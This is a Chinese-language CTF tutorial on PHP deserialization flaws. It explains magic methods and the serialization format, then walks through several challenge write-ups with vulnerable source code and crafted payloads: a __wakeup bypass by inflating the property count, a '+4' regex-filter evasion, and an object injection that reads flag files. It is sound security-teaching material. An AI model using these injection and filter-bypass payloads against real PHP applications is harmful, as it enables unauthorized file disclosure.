CTF-WEB:PHP 反序列化


序列化與反序列化

magic 方法

PHP 的面向對象中包含一些魔術方法,這些方法在某種情況下會被自動調用。

magic 方法 功能
__construct() 類構造器
__destruct() 類的析構器
__sleep() 執行 serialize() 時,先會調用這個函數
__wakeup() 執行 unserialize() 時,先會調用這個函數
__toString() 類被當成字符串時的回應方法

serialize 和 unserialize 函數

在 PHP 中將對象、數組、變量等轉化為字符串,這樣便於將數據保存到數據庫或者文件中,這個過程稱之為序列化。當需要使用這些數據時,就需要用反序列化就是將字符串還原回原來的樣子,也就是序列化的逆過程。PHP 提供了 serializeunserialize 函數來支持這 2 種操作,當 unserialize 函數的參數被用戶控制時就會形成反序列化漏洞
下面來看看具體是什么操作,例如這是數組的序列化:

$a = array('張三','李四','王五');
$a_ser = serialize($a);
echo "$a_ser <br>";
print_r(unserialize($a_ser));

輸出內容如下,其中 “a” 表示這是個數組,數組的每個元素的格式形如 “i:0;s:6:"張三";”,其中 “i” 表示 整型,“s” 表示字符串。

a:3:{i:0;s:6:"張三";i:1;s:6:"李四";i:2;s:6:"王五";} 

把以上內容反序列化之后的輸出結果為:

Array
(
    [0] => 張三
    [1] => 李四
    [2] => 王五
)

接下來再看看一個對象的序列化和反序列化:

class a_object{
   public $id = 123;
}
$a = new a_object;
$a_ser=serialize($a);
echo $a_ser;
echo '<br>';
print_r(unserialize($a_ser));

輸出結果如下,注意到類在序列化后的格式為“變量類型:類名長度(字節):類名:屬性數量:{屬性名類型:屬性名長度:屬性名:屬性值類型:屬性值長度:屬性值內容}”。

O:8:"a_object":1:{s:2:"id";i:123;}
a_object Object
(
    [id] => 123
)

訪問控制修飾符

根據類中字段的訪問控制修飾符的不同,在序列化的時候的輸出有所不同,例如:

class a_object{
   public $Id1 = 123;
   protected $Id2 = 123;
   private $Id3 = 123;
}
$a = new a_object;
$a_ser=serialize($a);
echo $a_ser;
echo '<br>';
print_r(unserialize($a_ser));

輸出的內容如下,注意聲明為 protected 的字段序列化格式為 “%00*%00屬性名”,聲明為 private 的字段序列化格式為 %00類名%00屬性名

O:8:"a_object":3:{s:3:"Id1";i:123;s:6:"*Id2";i:123;s:13:"a_objectId3";i:123;}
a_object Object
(
    [Id1] => 123
    [Id2:protected] => 123
    [Id3:a_object:private] => 123
)

繞過 __wakeup()

由於 __wakeup() 函數在執行 unserialize() 時,先會調用這個函數,有時候這個函數中的代碼會影響反序列化的利用。因此如果遇到 __wakeup() 函數就要先繞過,繞過方法是令對象屬性個數的值大於真實個數的屬性。例如:

O:8:"a_object":4:{s:3:"Id1";i:123;s:6:"*Id2";i:123;s:13:"a_objectId3";i:123;}

例題:bugku-flag.php

打開題目flag.php,這是一個完全沒有反應的登錄頁面。

根據提示用 GET 方法傳遞個 hint 參數,參數值隨便(我覺得這個點毫無意義),得到題目的 PHP 源碼。

源碼中有 3 個部分,其中第二部分是我們看到的頁面的源碼,第三部分無意義,因此我們着重分析第一部分。

<?php 
error_reporting(0);      //關閉錯誤報告
include_once("flag.php");       //執行期間包含並運行指定文件 flag.php
$cookie = $_COOKIE['ISecer'];       //$_COOKIE 變量在 ISecer 取回 cookie 的值
if(isset($_GET['hint'])){
    show_source(__FILE__); 
} 
elseif (unserialize($cookie) === "$KEY") 
{    
    echo "$flag"; 
} 
else { 
?> 

這段代碼會取回 cookie 的值,unserialize 函數是對單一的已序列化的變量進行操作,將其轉換回 PHP 的值。也就是說 unserialize 函數出現的地方是解題的關鍵,如果變量 $cookie 反序列化的結果和 $KEY 變量完全相同,就會顯示 flag。因此我們需要傳遞一個名為 ISecer 的 cookie,里面的值應該是 $KEY 變量序列化后的結果。
注意這個時候我們並沒有定義名為 KEY 的變量,因此這個變量的值應該是 NULL,此時可以直接寫個簡單的腳本看看序列化的結果是啥:

<?php 
echo serialize("$KEY");  
?>

可以得到 NULL 序列化后為“s:0:"";”,注意此時分號不可省略,但是提交時會被忽略,需要使用分號的 URL 編碼 “%3b”來替代。此時可以直接用 HackBar 提交 cookie,也可以用 Burp 改 Cookie 字段提交獲得 flag。

例題:JMU PHP 反序列化

打開網頁,看到一段 PHP 代碼,看一下有哪些關鍵信息。首先是 flag 所在的位置,注釋寫了在 flag.php,觀察到傳入的參數是 s。

接下來根據提示,函數 __desteuct() 能夠在當一個對象被銷毀時自動執行對應的代碼,代碼中有一個 readfile() 函數可以讀取信息。現在要傳入一個對象,這個對象會被銷毀從而觸發 desteuct 函數,進而觸發文件的輸出。這個時候因為有反序列化函數 unserialize() 會把一個序列化的對象銷毀掉,可以用這個函數來觸發。

此時就是要去構造一個序列化好的對象,這時注意到提示,這個對象的變量是私有變量,使用腳本生成序列化的對象。

根據私有變量的特點完善一下,構造 payload 傳入,之后打開 F12 查看 flag。

?s=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

例題:bugku-welcome to bugkuctf

之前我們得到了 hint.php 的源碼,注意到其實還有個 index.php 文件,把 hint.php 替換為 index.php 后使用同樣的方法得到它的 base64 編碼。

<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
    echo "hello friend!<br>";
    if(preg_match("/flag/",$file)){
        echo "不能現在就給你flag哦";
        exit();
    }
    else{
        include($file);
        $password = unserialize($password);
        echo $password;
    }
}
else{
    echo "you are not the number of bugku ! ";
}

?>

這里我們注意到使用了 unserialize() 函數,這時候考慮使用 PHP 反序列化。源碼通過 preg_match() 匹配了 flag 關鍵字,也是說無法在 index.php 中輸出 flag.php 的內容。這里的關鍵在於 hint.php 中的 Flag 類,類中定義的 tostring() 方法會輸出文件的內容。

<?php

class Flag{//flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("good");
        }
    }
}
?>

結合 password 參數我們還沒使用,可以構造 Flag 類的序列化傳給 password,然后在反序列化時自動調用 tostring() 查看文件。可以寫一段簡單的 PHP 腳本得到 Flag 對象的序列化:

<?php
    class Flag{  
        public $file;  
    }  
 
    $a = new Flag();
    $a->file = "flag.php";
    print_r(serialize($a));
?>

在最后將 password 變量的值賦為 Flag 對象的序列化傳入,終於得到 flag。

?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

例題:攻防世界-unserialize3

打開網頁,看到源碼如下,這是一個 xctf 對象定義,根據提示這是個 PHP 反序列化。

class xctf{ 
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

由於 wakeup() 函數在執行 unserialize() 反序列化時會先調用,如果這個函數被調用就看不到 flag 了。因此需要繞過 wakeup() 函數,讓對象數大於實際對象數就行。編寫好對象序列化后的字符串后,傳給 code 參數即可得到 flag。

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

例題:攻防世界-Web_php_unserialize

打開網頁,看到源碼如下,這題很明顯又是一道 PHP 反序列化。在 Demo 對象中有個 file 字段,根據默認值存儲的應該是某個 PHP 文件名。

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } 
    else {
        @unserialize($var); 
    } 
} 
else { 
    highlight_file("index.php"); 
} 
?>

根據提示 flag 在文件 fl4g.php 中,因此我們先構造出 file 值為 fl4g.php 的 Demo 對象。

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

接下來我們看一下有沒有什么地方需要繞過,觀察到有個 preg_match() 函數進行正則匹配,如果匹配成功則不會輸出 flag。“/[oc]:\d+:/i” 正則匹配的字符串,是在不區分大小寫的情況下匹配 “o:數字” 或者 "c:數字’ 的字符串。也就是說,如果我們直接把上述字符串傳上去,會被過濾掉,繞過的方式是使用 “4” 的同義表示方法 “+4”。同時還需要繞過 wakeup() 函數,讓對象數大於實際對象數,修改后的字符串如下。

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

最后注意到還有個 base64_decode() 函數進行 base64 解碼,也就是說我們傳入的參數應該是使用 base64 加密過的字符串。最后構造 payload 傳入,即可得到 flag。

index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=

參考資料

CTF中的序列化與反序列化
web安全:反序列化(CTF中常見)
Bugku CTF 反序列化
CTF PHP反序列化


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM